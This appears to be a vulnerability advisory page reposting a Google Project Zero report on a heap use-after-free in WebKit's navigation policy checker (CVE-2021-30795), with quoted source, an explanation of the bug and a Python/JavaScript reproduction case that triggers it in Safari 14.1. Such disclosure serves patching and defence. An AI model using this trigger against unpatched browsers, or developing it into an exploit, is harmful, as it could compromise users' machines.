WebKit WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free

🗓️ 19 Aug 2021 00:00:00Reported by Google Security ResearchType

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WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free vulnerability in WebKit r27771

Reporter	Title	Published	Views	Family All 100
0day.today	WebKit WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free Vulnerability	19 Aug 202100:00	–	zdt
ATTACKERKB	CVE-2021-30795	8 Sep 202114:15	–	attackerkb
Tenable Nessus	Amazon Linux 2 : webkitgtk4 (ALAS-2023-2088)	13 Jun 202300:00	–	nessus
Tenable Nessus	AlmaLinux 8 : GNOME (ALSA-2021:4381)	9 Feb 202200:00	–	nessus
Tenable Nessus	Apple iOS < 14.7 Multiple Vulnerabilities (HT212601)	23 Jul 202100:00	–	nessus
Tenable Nessus	CentOS 8 : GNOME (CESA-2021:4381)	11 Nov 202100:00	–	nessus
Tenable Nessus	Debian DSA-4945-1 : webkit2gtk - security update	29 Jul 202100:00	–	nessus
Tenable Nessus	GLSA-202202-01 : WebkitGTK+: Multiple vulnerabilities	1 Feb 202200:00	–	nessus
Tenable Nessus	macOS 11.x < 11.5 Multiple Vulnerabilities (HT212602)	23 Jul 202100:00	–	nessus
Tenable Nessus	MiracleLinux 8 : GNOME (AXSA:2022-2953:01)	20 Jan 202600:00	–	nessus

`WebKit: heap-use-after-free in WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy  
  
VULNERABILITY DETAILS  
PolicyChecker.cpp:  
```  
#define IS_ALLOWED (m_frame.page() ? m_frame.page()->sessionID().isAlwaysOnLoggingAllowed() : false)  
#define PAGE_ID (m_frame.loader().pageID().valueOr(PageIdentifier()).toUInt64())  
#define FRAME_ID (m_frame.loader().frameID().valueOr(FrameIdentifier()).toUInt64())  
#define RELEASE_LOG_IF_ALLOWED(fmt, ...) RELEASE_LOG_IF(IS_ALLOWED, Loading, \"%p - [pageID=%\" PRIu64 \", frameID=%\" PRIu64 \"] PolicyChecker::\" fmt, this, PAGE_ID, FRAME_ID, ##__VA_ARGS__)  
[...]  
void FrameLoader::PolicyChecker::checkNavigationPolicy(ResourceRequest&& request, const ResourceResponse& redirectResponse, DocumentLoader* loader, RefPtr<FormState>&& formState, NavigationPolicyDecisionFunction&& function, PolicyDecisionMode policyDecisionMode)  
{  
[...]  
if (!isAllowedByContentSecurityPolicy(request.url(), m_frame.ownerElement(), !redirectResponse.isNull())) {  
if (m_frame.ownerElement()) {  
// Fire a load event (even though we were blocked by CSP) as timing attacks would otherwise  
// reveal that the frame was blocked. This way, it looks like any other cross-origin page load.  
m_frame.ownerElement()->dispatchEvent(Event::create(eventNames().loadEvent, Event::CanBubble::No, Event::IsCancelable::No));  
}  
RELEASE_LOG_IF_ALLOWED(\"checkNavigationPolicy: ignoring because disallowed by content security policy\");  
function(WTFMove(request), { }, NavigationPolicyDecision::IgnoreLoad);  
return;  
}  
```  
  
FrameLoader.cpp:  
```  
[...]  
Optional<PageIdentifier> FrameLoader::pageID() const  
{  
return client().pageID();  
}  
```  
  
FrameLoaderClient.h:  
```  
class WEBCORE_EXPORT FrameLoaderClient {  
[...]  
virtual Optional<PageIdentifier> pageID() const = 0;  
virtual Optional<FrameIdentifier> frameID() const = 0;  
}  
```  
  
  
`PolicyChecker` is owned by `FrameLoader`, which is in turn owned by the reference-counted class `Frame`. When a load is being blocked by CSP, `PolicyChecker` fires an event in `checkNavigationPolicy()`. A malicious JS event handler can drop all references to the frame and cause the associated `PolicyChecker` to be destroyed. When the execution returns to `checkNavigationPolicy()`, the invocation of `RELEASE_LOG_IF_ALLOWED` will access freed memory, including the vtable calls `pageID()` and `frameID()` on an invalid `FrameLoaderClient` pointer.  
  
  
REPRODUCTION CASE  
Visit http://localhost:8000/  
```  
import sys  
from http.server import HTTPServer, BaseHTTPRequestHandler  
  
html_source = b'''  
<body>  
<script>  
frame = document.createElement('iframe');  
frame.onload = () => frame.remove();  
frame.src = '/redirect';  
document.body.appendChild(frame);  
</script>  
</body>  
'''  
  
class Handler(BaseHTTPRequestHandler):  
def do_GET(self):  
if self.path == '/redirect':  
self.send_response(302)  
self.send_header('Location', 'http://example.com/')  
self.end_headers()  
else:  
self.send_response(200)  
self.send_header('Content-Security-Policy', 'frame-src localhost:8000')  
self.end_headers()  
self.wfile.write(html_source)  
  
HTTPServer((\"127.0.0.1\", 8000), Handler).serve_forever()  
```  
  
  
VERSION  
WebKit r277716  
Safari 14.1 (16611.1.21.161.6)  
  
  
CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero  
  
  
This bug is subject to a 90-day disclosure deadline. If a fix for this  
issue is made available to users before the end of the 90-day deadline,  
this bug report will become public 30 days after the fix was made  
available. Otherwise, this bug report will become public at the deadline.  
The scheduled deadline is 2021-08-24.  
  
  
Related CVE Numbers: CVE-2021-30795.  
  
  
  
Found by: [email protected]  
  
`

19 Aug 2021 00:00Current

8.8High risk

Vulners AI Score8.8

EPSS0.02095